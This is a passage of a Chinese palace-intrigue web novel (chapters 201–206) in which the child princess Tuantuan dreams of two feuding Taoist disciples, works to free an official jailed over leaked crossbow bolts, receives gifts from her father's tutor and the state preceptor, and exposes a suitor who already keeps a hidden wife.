“竟也是他们?”萧宁珣觉得不可思议,“汪叔你这样的人,竟也能中了他们的招?这个幽冥顶还真是不简单呢!”
萧泽皱了皱眉:“汪先生是江湖人,宁王是朝中人,两位都曾经中了这幽冥顶的毒。这个幽冥顶……究竟要干什么呢?”
萧元珩问道:“你都查到了什么?”
汪明瑞摇了摇头:“所知甚少,不值一提。”
众人面面相觑,如此强大的对手,一直隐藏在暗处,不知何时便会再次出手,都觉得有些背脊生寒。
团团看了看大家:“晚上咱们吃什么啊?”
所有人都笑了。
萧宁珣道:“还是咱们团团好啊,每天就琢磨着吃什么好吃的,什么烦恼都没有,一只小猪!”
团团不干了:“我才不是小猪!”
萧宁辰问她:“你想吃什么呢?”
团团想了想:“想吃娘亲做的菜了。”
萧元珩哈哈大笑:“那咱们快马加鞭,回京城!”
第201章 为什么会梦见你们呢?
团团四下张望:“这是哪里啊?好漂亮啊!”
好大的一片桃花林,花朵繁盛,缤纷落英,周围如同下着一场绵软无声的粉白细雨。
溪水潺潺,清澈见底。
咦,有人!团团走了过去。
两个约莫四五岁、穿着道袍的小小身影,正在溪边笨拙地打水。
高一点的,眉眼清秀,提着装满水的木桶,虽然有些吃力,却还算稳稳当当。
跟在他身后那个,脸蛋圆润,嘟着小嘴,一脸不情愿地拎着个小一号的木桶,桶中的水边走边洒了一路。
“师兄啊,为什么非要我们来打水嘛?”
小圆脸脚下一滑,险些摔倒,嘴里嘟嘟囔囔地埋怨着:“让清风,明月他们来做不行吗?”
前面的高个子停下了,转过身,伸出小手扶住了他:“师父说过,修行之事,需得亲力亲为。洒扫庭除,担水劈柴,皆是功课。”
“功课功课,又是功课!”小圆脸跺了跺脚,溅起的水花弄湿了道袍下摆,“我想学的是呼风唤雨、点石成金的大本事!才不要这些!”
高个子看着他,轻轻叹了口气,没再说什么,默默接过他手里的水桶,一手一个,吃力地往桃林深处走去。
小圆脸愣了一下,看着师兄的背影,小跑着跟了上去,伸手拽住了他的衣袖:“师兄,咱们一起提吧。”
团团一路跟着,他们是谁啊?
她冲着两人喊道:“这里是哪儿啊?我可以和你们一起玩吗?”
两个小孩儿都没有理她,依旧径直往前走去。
哦,看来和以前一样,他们看不到也听不到我。
那就去看看他们做什么吧。
画面流转。
简陋的木桌上,摆着几样清淡的斋饭。
小圆脸把自己碗里的豆腐,不停地偷偷放进到高个子的碗里,眨巴着一双大眼睛:“师兄,你比我大,又帮**了那么多,你多吃些。”
高个子看着自己碗里慢慢堆起的小小山尖,又看了看师弟一脸“我很乖快夸我”的小模样,噗嗤一声笑了出来,伸手揉了揉他的脑袋:“你呀!”
夜晚,油灯下。
两个小脑袋凑在一起,对着一本泛黄的典籍。
“师兄,这个字念什么?”
“念‘炁’,与我们呼吸之气不同,是天地万物之本源。”
“哦,这个阵法好难画啊。”
“来,我教你。这样,手腕要稳,心要静。”
烛火将两个小小的影子投在墙上,亲密无间。
团团坐在一旁,托着腮,大眼睛里满是羡慕:“喂,我也不会,你们教教我好吗?”
自然还是无人应答,团团看着看着,闷了,起身向外走去。
刚走到门口,突然,眼前的景象变了,天光大亮,迎面走来两个少年,从她身旁走入屋内。
团团怔住了,回头一看,依稀能够看出他们儿时的模样。
哦,还是他俩,这么快就长大了?
她好奇心起,转身回到桌旁。
两人显然又是在讨论着所学的功课。
高个子愈发沉稳,眉目舒朗,**如松。
小圆脸的眼神变得锐利,看着没小时候那么可爱了。
“师兄!你为何总是如此固步自封!”
圆脸少年指着面前的一卷书册:“《气运真解》的副册明明记载了更快的方法!以秘法引导,便可汲取他人之运,补益自身!为何不能用?”
高个子脸色一变,一把夺过那书册:“师弟!师父再三告诫,此乃饮鸩止渴之道!损人根基,终遭天谴!”
“天谴?”圆脸满不在乎,“成王败寇!若我能掌控他人气运,我便是天!何来天谴?”
“不可!”高个子痛心疾首,“我辈修行,当顺应天道,守护苍生,岂能为一己私欲,行此逆天之事!”
“顺应?守护?”圆脸一脸讥讽,“看看这天下!弱肉强食!若没有气运为刃,拿什么守护?”
“等你慢慢修行,在乎的人早都死绝了!我就是要走捷径,我就是要掌控一切!”
“那不是掌控,是迷失!”高个子一把抓住他的手臂,“师弟,不要再想这些了,不可泥足深陷!”
“够了!”圆脸猛地甩开他,“师兄,道不同,不相为谋。你便守着你那套迂腐的道理过吧!师弟我不奉陪了!”
团团在一旁急得直跳脚,挥舞着小拳头,冲着圆脸大喊:“喂!你师兄说的才是对的啊!你怎么
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不听呢!”
但显然,圆脸根本听不到她的声音,冷哼了一声,起身站起,走入了桃林深处的阴影中。
高个子站在原地,伸出的手无力地垂了下来。
团团一急:“我去给你追他回来!”撒腿便跑。
才跑到门口,她脚下一滑,向前摔去,“哎呀!”
团团醒了。
她茫然地眨了眨眼睛,看了看四周,哦,我还在军营里。
梦里的焦急仍在,丝毫未曾散去。
她翻了个身,喃喃自语:“你们是谁啊,我为什么会梦见你们呢?”
困意袭来,她又睡着了,这一次,没有梦境,一觉直到天亮。
次日,大军开拔,
数日后,抵达京城。
团团终于回到了娘亲的怀抱,开心极了。
但随即小脑袋又耷拉了下来:“娘亲,我给你和祖祖,大哥哥买了好多好东西呢,都没能带回来,对不起。”
程如安紧紧搂住她:“娘亲什么都不要,你平安回来,就是给娘亲最好的礼物了。”
团团在她的脸上蹭了蹭:“娘亲真好!”
次日,早朝。
萧杰昀看着满朝文武:“七皇子萧泽等人,此番出使大夏,凶险异常,却不畏艰险,扬我国威,特此封赏!”
程公公上前一步,展开早已拟好的圣旨,高声宣读:
“奉天承运皇帝,诏曰:七皇子萧泽,临危受命,不辱君父之托,斡旋敌国,彰我烈国威仪,封靖亲王,赐亲王府邸一座,协理兵部。”
“宁王次子萧宁辰,勇武绝伦,护持有功,封武安伯。”
“宁王三子萧宁珣,智计过人,洞察先机,屡破奸谋,封文慧伯,赐御前行走。”
“嘉佑郡主,天命所钟,仙姿玉质,扬我国威于域外。特加封为镇国嘉佑郡主,禄同亲王,赐江南皇庄三处,珠玉绸缎若干。”
“护卫萧二,忠勇可嘉,授忠勇将军衔,赐金千两。余者护卫,各升一级,厚赏金银。钦此!”
几人出列,领旨谢恩,众臣高呼万岁,无有不服。
当日傍晚,宁王府,一家人正在庆贺晋封之喜,下人匆匆走入花厅:“外面有个说是私物坊的人,求见小小姐。”
第202章 私物坊完了
团团一怔,私物坊的人?
她看了看正围坐在桌边,喜气洋洋的家人。
程如安吩咐:“将人带到前厅去吧,我们稍后便到。”
她站起身,拉起团团的小手:“走,娘亲陪你去听听他说什么。”
团团点点头:“爹爹你们先吃啊,我一会儿就回来。”
两人来到前厅,一个穿着私物坊官服的人正焦急地在厅中搓着手走来走去。
见她们进来,那人急忙行礼:“见过王妃,郡主。下官是私物坊主簿蔡广腾,冯大人临走时交代下官,一定要将此事禀告郡主。”
团团奇怪:“冯舟走了?他去哪儿了?让你告诉我什么?”
蔡广腾急得语无伦次:“下官失言,冯大人不是走了,而是下狱了!”
“啊?”团团一脸懵,”他为什么要被关起来啊?”
程如安见蔡广腾慌乱不堪:“别急,坐下慢慢说便是。”
“谢,谢王妃娘娘。“蔡广腾落座,稳了稳心神,”前些日子,圣上下旨,说九星连**出现在江湖,限期十日,令私物坊自查。”
“冯大人上上下下查了十日,未能查出什么,兵部便来了人,将他索拿下狱了。”
“他临走时说,待郡主归来,命下官定要来向郡主禀明他的冤屈,他绝无向任何人透露私物坊的要务,那九星连**为何会出现在外面,他确实一无所知。”
“**那为什么要抓他啊?”团团想不明白。
程如安看了蔡广腾一眼:“多谢你来相告,请先回去吧。”
蔡广腾看着团团,扑通一声跪倒在地:“请郡主一定要为冯大人洗清冤屈!”
“自私物坊设立,冯大人几乎日夜不休,尽职尽责,从无懈怠。九星连**一事,纵然冯大人身为主事有失察之责,但那,断不会是他所为啊!”
说罢,重重地磕了几个响头。
程如安急忙道:“蔡大人请起,团团已经知道了,请您先回吧。”
蔡广腾闻言这才爬了起来,告辞而去。
团团闷闷不乐地跟着母亲回到了饭桌旁。
小团子耷拉着脑袋,满脸不高兴,所有人都望向了程如安。
程如安叹了口气,将方才的事讲了一遍。
萧宁辰摸了摸团团的小脑袋:“团团,咱们在峡谷遭遇九星连**偷袭时,七皇子也在场。”
“这件事往小了说,是军械泄露,往大了说,是有人用国之利器刺杀皇子,形同谋逆!”
“陛下因此震怒,下旨彻查,天经地义。兵部将冯舟暂时收监审问,并非刻意针对。”
萧宁远点了点头:“二弟所言不错。团团,你不必着急,兵部那么多人呢,总能查个水落石出的。”
萧宁珣起身走到团团面前,蹲下与她视线齐平:“别不高兴了好不好?我们小团团如今是镇国郡主了呢!放心吧,等查清楚了,冯舟就出来了,不会有事的。”
团团看了看大家:“我知道啦!那就……等等吧!”
“希望他们快点儿查清楚,冯舟能早点儿出来。冯舟是好人啊!他不该被关起来的。”
萧元珩微笑点头。
次日,团团随父亲一同进宫,向皇帝谢恩。
刚走入紫宸殿,
便看到殿中坐着一人。
那是一位青衫老者,须发皆白,面容清癯,一双眼睛温润澄澈。
咦,这个老爷爷是谁啊,他身上全是白白的光,好神奇啊,从来没见过。
萧元珩也看到了那位老者,立时喜动颜色。
他领着女儿先给萧杰昀行礼谢恩。
萧杰昀道:“平身。团团,快见过宋公。”
萧元珩领着女儿走到老者面前:“团团,给宋公行大礼,这是你皇伯父和爹爹的老师。”
说罢,深深一礼:“学生见过恩师。”
团团闻言照做:“团团见过宋爷爷,宋爷爷是皇伯父和爹爹的老师,好厉害啊!”
宋公微笑点头:“都快起来吧,元珩,老夫这些年在江南养病,你可还好?”
萧元珩恭敬回道:“学生一切安好,老师如今可康健?”
宋公笑了笑:“老了,难免有些病痛,趁着如今还走得动,回这京城来看看你们。”
萧杰昀笑道,“老师来得正好,这便是朕方才与您提起的团团,朕刚晋封的镇国嘉佑郡主。”
宋公的目光落在了团团身上,温和而专注:“这位便是名动天下的嘉佑郡主?真是玉雪可爱,老夫宋敬贤。”
团团盯着他的胡须:“宋爷爷,你的胡子真白啊!好像冬天的雪哦!”
宋敬贤抚须大笑,饶有兴致地问:“那郡主可知,为何老夫的胡须像雪呢?”
团团眨了眨眼,诚实地摇了摇头。
“因为雪是天上来的水啊,历经高寒,自有其风骨。<
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br>宋敬贤微微颔首:“郡主一眼便能看出这风骨,可谓慧眼如炬。”
团团都被他说得有些不好意思了,我只是随口一说嘛!
恰在此时,一只彩蝶翩然从殿外飞入,吸引了团团的注意,她伸出小手指着:“蝴蝶!”
宋敬贤含笑问道:“郡主喜欢蝴蝶?”
“喜欢!它好看!”团团点点头。
“是啊,”宋敬贤望着那蝴蝶,“古籍有载,蝴蝶身负五彩,乃春神之使。”
“它见过最美的花,食过最甜的蜜,如今飞来此地,定是觉得郡主比百花更灵秀,特来一见。”
一番话说得团团眼睛亮晶晶的。
哇!这个宋爷爷说话真好听!夸得我好开心啊!
君臣叙话片刻,萧元珩带着团团告退。
“郡主请留步。”宋敬贤唤住了他们。
他从袖中取出一物。
那是一枚温润无瑕的白色玉佩,上面雕刻着一幅微缩的星辰江河图,星辰浩瀚,江河奔流,气象万千。
他走到团团面前,拉起她的小手,将玉佩轻轻放入她掌心:“此玉伴随老夫多年,今日赠与郡主。”
“愿郡主之心,如星辰般高远,如江河般不息,见证这世间万千气象。”
此礼非同小可,萧元珩面露惊讶,连萧杰昀都微微动容。
团团握着玉佩,看着宋敬贤脸上温暖的笑容,这个宋爷爷真好:“好漂亮啊!谢谢宋爷爷,我很喜欢。“
萧元珩牵着团团往外走,刚走到殿门口,团团转身冲着宋敬贤用力挥手:“宋爷爷!我下次再来找你玩啊!好不好?”
宋敬贤望着她,脸上的笑容愈发温和:“只要郡主想来,老夫随时恭候。”
父女二人走出了大殿。
萧杰昀感叹道:“老师似乎格外喜欢这孩子。”
宋敬贤沉默片刻:“陛下,此女灵秀天成,心性质朴,宛若一块未经雕琢的绝世璞玉,乃我烈国之祥瑞。”
他顿了顿:“务必珍之,重之。”
萧杰昀默默点头,团团福运天成,确实当得起祥瑞之称。
父女俩回到宁王府,马车刚刚停稳,一道身影便从门房里踉跄着冲了出来。
正是昨日才来过的蔡广腾。
见到萧元珩和团团从马车上下来,他扑通一声跪在了车前,声音嘶哑,语带哭腔:“王爷!郡主!不好了!私物坊完了!”
第203章 我相信你
萧元珩眉头皱起:“起来说话!怎么回事?”
团团也吓了一跳,瞪大了眼睛看着蔡广腾。
蔡广腾被萧二从地上扶起:“今日一早,兵部会同大理寺的人,查封了私物坊!”
“所有图纸、物件全部封存,工匠、官吏一律停职,听候审查!”
“他们说,凡私物坊中人,明日必须前往兵部接受盘查!若是不到,便以畏罪潜逃论处!”
“王爷,郡主!冯大人是清白的,私物坊上下也都是尽心办事的啊!这到底是为什么啊!”
团团拉了拉父亲的衣角:“爹爹!冯舟出不来了是吗?”
萧元珩看了看蔡广腾,又看了看女儿:“你先起来。回去告诉私物坊所有人,明日起,全力配合兵部,本王会给你们想办法。”
蔡广腾连连叩首:“是!下官代私物坊所有人,多谢王爷!”起身离去。
团团看着他的背影:“爹爹,我想去看冯舟。”
小姐要去大狱?那怎么行!
萧二抬头望向萧元珩。
萧元珩看着女儿的小脸,叹了口气:“萧二,你陪着她去吧,不看看,她心里难安。”
团团抱了抱父亲的大腿:“爹爹真好!二叔叔!咱们走!”
萧二抱着团团,来到了天牢。
牢房里阴暗潮湿,气味难闻。
他们随着狱卒,走到了最靠里面的一间。
冯舟正穿着囚服,坐在干草堆上,神情灰败。
团团大喊一声:“冯舟!你还好吗?”
冯舟急忙扑到栏杆前:“盟主!你怎么来了?”
团团伸出小手抓住栏杆:“有没有人欺负你啊?”
冯舟苦笑了一声:“九星连**流入江湖,私物坊的图纸成品均由我掌管,如今我百口莫辩。”
他攥紧拳头正色道:“但我冯舟对天发誓!”
“图纸我一直锁在密室的铁柜中,即便是坊内工匠,也只知各自负责的零件制法,绝无可能流出完整的图纸!”
“更不可能有成品被偷!此事,定有蹊跷!”
正说着,一阵脚步声传来。
一名身着兵部官服,面色冷硬的中年官员走了过来。
他满脸不耐:“冯大人,你可愿招供?是否将图纸卖与了旁人?若再冥顽不灵,便休怪本官按律用刑了!”
“你敢!”团团张开小胳膊,挡在栏杆前,气得鼓鼓的,“我是嘉佑郡主,镇国嘉佑郡主!我比你官大!我说不行就不行!”
那官员一愣,面上神色稍缓,恭敬行礼,但依旧公事公办:“下官参见郡主。郡主有所不知,此乃陛下严旨,不惜一切代价,必要查出真相。”
“今日看在郡主面上可以免他用刑,但若始终查不出来,他终究难逃律法制裁。”
团团看着他:“你是哪儿的官?”
那官员怔了怔:“下官在兵部任职。”
团团不再理他,扭头对冯舟道:“冯舟你别怕!我相信你!我这就去找人帮你!”
“二叔叔!走,咱们去找大三哥!他现在是那个什么王,他肯定能帮我!”
二人马不停蹄地赶到靖王府中。
萧泽听闻团团来了,急忙走了出来。
团团冲过去抓住他的衣袖,连珠炮似的:“大三哥!兵部的坏蛋要打冯舟!你去告诉他们,不能打!冯舟是好人,他是被冤枉的!我相信他!”
萧泽看着她急得通红的小脸,眼里泛着水光,心中一软。
他蹲下身,注视她:“团团,你别急。大三哥可以去兵部告诉他们,保他不被用刑。”
“但是团团,你要明白,这件事太大了。国之重器流落在外,关乎边境安定和无数将士的性命。”
他轻轻捏了捏她的小脸蛋,为她擦去眼角的泪花:“这是律法,即使是父皇也不能违背。否则,天下人便都不会遵纪守法了。”
“大三哥只能为你争取时间。若最终查不出真凶,找不到真相,冯舟他,即便不受刑,也难逃失职之罪,国法不容私情。”
团团用力点头:“我知道啦,大三哥,多谢你啊。我一定会找出这个坏蛋,让皇伯父知道,不是冯舟干的坏事!”
“二叔叔,咱们走!”
萧二抱着她走出了靖王府,来到马车旁。
“小姐,现下去哪儿?”
团团搂着萧二的脖子,小嘴撅得高高的:“我哪儿知道啊!”
萧二一愣,哭笑不得,自家小姐一心想替冯舟洗清冤屈,却毫无头绪。
他想了想:“小姐,咱们去找二少爷如何?峡谷遇袭时,他收起了那支九星连**的专用**箭,或许,从那上面,能查出些什么来。”
团团眼睛一亮:“二叔叔你真聪明!走!咱们去军营找二哥哥!”
马车再次疾驰起来,径直来到了京郊大营。
萧二刚把团团抱下车,哨兵便瞧见了。
“小姐来啦!”一声惊喜的呼喊瞬间在整个营区传开。
萧宁辰得到禀告,快步
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走了过来:“团团,你怎么来这儿了?”
团团还没来得及回答,张武安、李老三、方青……等一众老兵们便都围了上来。
“小姐怎么看着跟受了委屈似的?”
“比上次还瘦了点,回头让火头炖只老母鸡给小姐补补!”
团团看着二哥和这些叔叔们,心里的委屈再也藏不住了,小嘴一扁,眼圈瞬间就红了。
“二哥哥!叔叔们!我刚去看了冯舟,他被关起来了,他们还要打他!呜呜呜……”
泪珠子吧嗒吧嗒地落了下来。
萧宁辰连忙将她抱在怀里:“乖团团,不哭啊,你一哭,二哥的心都疼了。”
私物坊专职制造兵器,与京郊大营多有往来,将士们对冯舟虽不熟识,却也都见过。
“什么?冯主事那样的人,怎么会!”
“哪个王八羔子污蔑好人?”
“小姐别哭!你说是谁,俺老张第一个不答应!”
这些在战场上刀斧加身都不皱眉的汉子,此刻却因为小团子的几滴眼泪慌了手脚,心都揪成了一团。
萧宁辰扫过周围一张张义愤填膺的脸。
“光喊没用。想帮冯舟洗冤,要有证据才行。”
萧二道:“二少爷,或许,从那支**箭上能看出什么。”
萧宁辰点点头,抱着团团转身向自己的营帐走去:“走,对弓箭有经验的,都进来看看。”
片刻后,那支通体乌黑、三棱箭镞闪着幽光的**箭,便被放在了桌案上。
帐内挤满了人。
“就是这玩意儿?”李老三凑上前,仔细端详,“还真精致!”
张武安凝神细看:“这血槽开的,好刁钻的手法!”
方青拿起**箭,对着帐外透进的光线仔细端详箭镞,又用手指轻轻弹了弹箭杆,倾听那细微的震音。
“不止。你们看这箭镞的冷锻纹路,细密如云锦,像是南边一脉的手艺,讲究个绵里藏针。”
他顿了顿,又将箭杆凑到鼻尖嗅了嗅:“这箭杆,绝非南木。木质坚逾精铁,纹路却乱如麻丝,这是西北深山里的‘铁线木’,味道带着股子土腥气,错不了。”
“给我看看。”张武安从他手里接了过来,看了看羽杆的切口:
“这鹰羽泡过东西,是草原那边常用的手法,为的是防潮抗腐,咱们烈国的匠人,很少用这等手段。”
帐内一时寂静下来,小小一支**箭,怎会包罗了天南地北的东西?
第204章 来老夫这里
张武安猛地一拍大腿:“末将明白了!小姐,这他娘的就不是在一个地方造出来的!”
他指着那支弩箭:“这是有人把打箭头的、刨箭杆的、做尾巴的活儿,分给了天南地北好几伙人干!”
“最后再找个鬼都摸不着的地方,把它攒了起来!”
萧宁辰点了点头:“私物坊管得再严,看来也没防住这化整为零的手段。”
“若只查京城和冯舟,看来是未得要领,得去查这条串起了大江南北的暗线!”
团团一直听得一头雾水,到这里才终于听懂了。
原来,坏人不是从冯舟那里偷走了做好的东西或者图纸。
他们是悄悄地、零碎的,送到了不同地方的坏人手里!
她拉着萧宁辰的袖子:“二哥哥,那你赶紧告诉兵部那些官儿去,让他们放了冯舟吧。”
萧宁辰摇了摇头:“团团,我可以马上就上报兵部,还可以上疏陛下,陈明此事。”
“但冯舟,在此事查清楚之前,他是肯定出不来的。”
“毕竟,他是私物坊的主事,私物坊如今出了这等纰漏,他责无旁贷。”
见妹妹的小脸又拉了下来,他摸了摸团团的小脑袋:“不过,只要将此事查清楚了,以他的才华,应当是可以官复原职,戴罪立功的。”
团团眼睛一亮:“二哥哥,太好啦!那你赶紧报吧!皇伯父是皇帝,他一定能查清楚的!”
萧宁辰将她抱起:“好!那你先回去,别再着急了,此事若想查清,定是要费上些时日的。”
“你回去等着好消息,好不好?”
团团点了点头。
萧宁辰将她抱出军营,放上马车,嘱咐萧二:“直接回府,莫要耽搁。”
团团从车窗里探出小脑袋:“叔叔们!谢谢你们啦!我回去啦!”
“小姐!以后常来啊!”老兵们都恋恋不舍。
回到王府,团团吃饱了肚子上床便睡着了。
程如安给她盖好小被子,看向丈夫。
“王爷,团团为了这个冯舟,奔波了一整日。这孩子,真是心实。”
萧元珩看着女儿的睡颜,目光深沉:“咱们团团一直如此,眼看好友被冤,她便是拼尽全力,也要护个周全。”
他拉起妻子的手:“这性子,像你,也像我。”
“重情重义。只是,这世间人心叵测,她这般赤诚,将来怕是少不了要吃亏。”
程如安依偎着丈夫:“吃亏便吃亏吧。元珩,你拼杀半生,守着这宁王府,不就是为了能让咱们的孩子们,永远不必去学那些虚与委蛇,假情假意吗?”
“我只希望,团团能一直如此,但凭本心,无忧无虑。”
萧元珩微笑着将妻子揽入怀中:“安儿说得不错。咱们的团团,就该这般堂堂正正,痛痛快快地活着。”
他突然想起了什么:“安儿,明日带团团去趟国师府吧,备些厚礼,谢过国师这次的鼎力相助。若没有他给团团的东西,团团不可能平安回来。”
程如安点了点头。
次日,她备下厚礼,带着团团来到了国师府。
程如安言辞恳切地表达了自己的感激之情。
楚渊微微颔首:“王妃言重了,此乃贫道分内之事。”
团团从小荷包里掏出那个五彩线团,走到楚渊面前,小手高高举起:
“国师!这个还给你!多谢啦!这个宝贝可厉害啦,你那个坏蛋师弟的梦,它一下就看破啦!”
脆生生的童音回荡在屋内。
程如安脸上的笑容瞬间凝固,面露尴尬,这孩子!
楚渊的手微微一顿。
他眼神复杂地看着眼前一脸“快夸我”的小娃娃,将线团接了过来:“不错,大夏国师巫罗,正是贫道那误入歧途的师弟。”
团团想起了什么:“可是,为什么他会问,‘他竟然还活着?’”
楚渊沉默了片刻,怅然一笑,没有回答。
“郡主,我那师弟,天资之卓绝,远胜于我。”
“但他一生信奉,汲取他人气运,补益自身之捷径,故而泥足深陷,无法自拔。”
“此次他虽受重创,却并未动其根基。”
“他所修之道,本就擅于掠夺与转嫁。贫道只期望,经此一败,他能迷途知返。”
汲取他人气运,补益自身……
这句话我怎么好像在哪里听过呢?
团团低下头,仔细思索。
啊!是那个梦!那个高个的师兄对圆脸的师弟也说过一样的话!
团团眼睛一亮:“国师,你小时候,是不是住在一片桃林里?你的师弟,小时候是不是脸圆圆的?一直总跟着你?”
楚渊闻言一惊,随即深深地看着她。
他心下了然,从怀中取出了一物。
那是一枚仅寸许长,遍布着玄奥纹路的青铜钥匙,古拙无比。
“看来,郡主的慧根灵性,已能触及因果。来,张开手。”
团团伸开小手,楚渊郑重地将那枚青铜钥匙轻轻放入她掌心。
“郡主此去大夏,虽一路惊险不断,却也因祸得福,长进颇多。既如此,贫道便将此物赠与你。”
“此物名万象钥。”
“持此物,静心凝神,可观气机流转,辨缘法纠缠。”
“望你以此慧根,多行善举,广积福缘,方不负这天赐的灵性。”
团团握着那钥匙,翻来覆去地细看了片刻,放进了小荷包里:“我知道啦!谢谢国师!又送我礼物!”
“可是。”小团子想了想,“你都送了我两次了,我送你什么做回礼才好呢?”
楚渊微微一笑:“你的那些宝贝,在你手中方有用处,回礼就不必了。”
程如安赶忙道谢,带着团团离开了国师府。
马车上,团团想起了宋敬贤,宋爷爷那日可送了我玉佩呢,国师不要回礼,宋爷爷总会要了吧。
“娘亲!宋爷爷住在哪里啊,他给了我玉佩,我想去找他,给他送回礼。”
程如安听丈夫提起过此事:“是该去一趟,陛下赐了宅子给宋公,就在皇宫旁边,娘亲带你去好不好?”
“好!”
母女二人来到宋府,下人回禀后将她们请了进去:“请稍候,宋公这就过来。”
“哇!这里跟咱们家不一样哦!”团团爬上凳子,趴在窗边看向花园。
庭院深深,却不见寻常富贵人家的繁花似锦,唯有古松几株。
一方青石棋盘静卧树下,廊下悬着一排竹简,随风轻响。
程如安点了点头:“不愧是帝师府啊!”
宋敬贤走了进来,面带微笑:“宁王妃和郡主今日怎么想起,来老夫这里了?”
第205章 那你现在那个家怎么办
程如安行礼:“见过宋公。来,团团,给宋公行礼。”
团团跑了过来:“宋爷爷!”
宋敬贤摆了摆手:“小孩子而已,不必多礼。”
他摸了摸团团的小脑袋:“郡主今日是来找老夫么?”
团团点了点头,从小荷包里掏出一颗流珠,高高举起:“宋爷爷,你给了我玉佩,我是来给你送回礼的!”
“这是道长爷爷给我的哦!”
宋敬贤接了过来,仔细一看:“这不是玄穹观观主,玄清真人的星宿流珠吗?他竟将此物赠给了郡主?”
“对啊!”团团眼睛亮晶晶的,”宋爷爷,你喜欢吗?”
宋敬贤开怀一笑:“喜欢!老夫很喜欢!”
团团开心了,看向母亲:“娘亲!宋爷爷他喜欢我送的珠子呢!”
程如安微笑道:“宋公唤小女团团吧,不必称郡主。您是元珩的恩师,在您面前,她当不起如此尊称。”
团团马上附和:“对啊!宋爷爷,叫我团团吧!”
宋敬贤眼中笑意更深:“好啊!团团!”
“诶!”团团应得又脆又响,程如安和宋敬贤都笑了起来。
宋敬贤吩咐:“去将书珺和竹霖唤来,就说府上来了个小客人与他们作伴。”
不过片刻,帘栊轻响。
先走入的是一个身着粉色襦裙的少女,约莫十三四岁年纪,眉眼清秀,气质沉静。
她走到宋敬贤面前,盈盈一礼:“祖父。”
紧接着,一个穿着宝蓝色小衫,看着也就四五岁大小,虎头虎脑的男孩冲了进来,一把抱住宋敬贤的腿,仰起圆嘟嘟的小脸:“爷爷!”
他一眼就看到了站在一旁的团团,松开手,噔噔噔跑到团团面前,歪着小脑袋:“你是谁呀?”
这个小弟弟真可爱!那个姐姐也好看!
团团看着他,学着他的样子歪了歪头:“我是团团,你呢?”
“我叫宋竹霖!竹子的竹,雨林霖!”小家伙挺起小胸脯,很是自豪,“我院子里有小木马,还有会叫的竹蝉!你要不要去看?”
“要啊!”团团很开心,又有小伙伴能一起玩啦!
见孙女看向自己,宋敬贤道:“这位是宁王妃。”
宋书珺看着两个自来熟的小豆丁抿唇一笑,给程如安行礼,仪态端方:“书珺见过宁王妃。”
程如安暗暗点头,这举止谈吐,不愧是帝师的孙女:“快起来,不必多礼。”
宋书珺轻轻牵起团团的小手:“妹妹,跟我来吧,姐姐带你们去。”
团团看着母亲,小大人似的摆了摆手:“娘亲,你先回去吧!我在这里跟他们一起玩!”
宋敬贤含笑点头:“放心罢,让孩子们自在片刻,待他们尽兴了,老夫再派人将团团送回王府。”
程如安告辞而去。
宋敬贤看着三个孩子:“你们自去玩吧。”
下人匆匆走进来:“老爷,靖海侯周锦华携子周景安求见。”
宋敬贤眉头微蹙:“珺儿,带他们去后院。”
“是,祖父。”宋书珺带着两个小团子往后面走去。
宋竹霖献宝似的把自己的小木马、竹蝉都搬了出来,
团团看得眼睛发亮,两个小豆丁很快便玩作了一团。
宋书珺坐在一旁静静地看着他们,唇角带着温柔的笑意。
不过才片刻,宋书珺的贴身婢女画屏匆匆地走了进来,压低声音道:“小姐,不好了!那周家父子今日上门,是来向老爷求娶小姐的!”
“什么?”宋书珺手中的帕子猛地攥紧,“靖海侯是来提亲的?”
团团抬起头看向宋书珺,小眉头皱得紧紧的:“书珺姐姐,那个周景安不是好人!”
“他可坏啦!他害过追风,还在国子监里骂人,你可不能嫁给他啊!”
宋书珺轻轻摸了摸团团的头发:“团团还小,你不懂。”
“婚嫁之事,向来是父母之命,媒妁之言。祖父若是应下了,我也只能听从。”
“那怎么行!”宋竹霖一听就跳了起来,“团团都说他不是好人了!姐姐,你怎么能嫁给坏蛋呢!不行!绝对不行!”
团团眼珠一转,拉着宋书珺的衣袖:“书珺姐姐,咱们偷偷去看看好不好?”
宋竹霖立刻附和:“对!咱们一起去看!要是他们非让爷爷答应,我就,我就拿我的小木马打他们!”
宋书珺本不愿如此,但看着弟弟和团团,这两张为自己担心的小脸,又实在忧心祖父会应下这门亲事,想了想,还是点了头:“好,那咱们悄悄去看一眼。”
她牵着两小只,绕过回廊,来到前厅一侧的暖阁。
暖阁与前厅仅隔着一扇巨大的紫檀木镂空雕花屏风,透过繁复的缝隙,能将前厅的情形看得一清二楚,声音也隐约可闻。
三人矮下身子,屏住呼吸,偷偷望了过去。
前厅内,宋敬贤端坐主位,神色平淡。
周锦华正在滔滔不绝:“久闻书珺小姐蕙质兰心,仪态端方,琴棋书画无一不精,更难得是性情温婉,知书达理,堪称大家闺秀之典范。”
“犬子每每提及,皆倾慕不已,只叹无缘得见。”
“他虽有些少年意气,但资质聪颖,心性耿直,若能求得如此佳媳,实乃我周家三生有幸!”
“我靖海侯府虽不敢说富可敌国,但在京城也算有头有脸,若能与宋公府上结为秦晋之好,必将是一桩美谈!”
周景安站在父亲身后,一身白衫,身子站得笔直,神态恭敬,尽显谦逊温良。
团团气得鼓起了腮帮子:“姐姐!你千万别信了他这个模样,他明明就是个坏蛋!”
宋竹霖闻言捏紧了小拳头。
宋敬贤缓缓开口:“侯爷过誉了。书珺年纪尚小,老夫还想多留她几年,承欢膝下。至于婚事,暂且不急。”
周锦华笑容不变,仿佛早有预料:“宋公爱惜孙女,本侯明白。但如此大好姻缘,还需早早定下才是。”
“我靖海侯府是真心实意求娶,愿以侯府半数家产为聘,只求宋公成全犬子的一片痴心!”
周景安上前一步,躬身行礼,语气诚恳:“晚辈仰慕书珺小姐已久,若能得偿所愿,必当珍之爱之,此生绝不辜负!”
宋敬贤看着他们父子,一言不发,并未回应。
屏风后的团团看不到宋敬贤的脸,以为他被说动了,顿时急了,大声喊道:“你要娶姐姐,那你现在那个家怎么办啊?”
第206章 滚开!
周景安脸上的笑容瞬间冻结,血色“唰”的一下褪得干干净净。
周锦华先是一愣,随即脸色一沉,眼中怒火升腾,厉声喝道:“谁在那里胡说八道!污蔑我儿!”
团团丝毫不惧,噔噔噔走到厅中,仰起小脸:“我啊!”
看清是她,周家父子的脸色顿时黑如锅底。
又是这个小丫头!
团团可不管他们脸色的难看不难看,径直走到周景安面前。
她一脸好奇:“你不是有老婆了吗?就住在城西花枝巷里啊!”
她怎么知道?我藏得那么好!除了母亲,父亲都不知道!
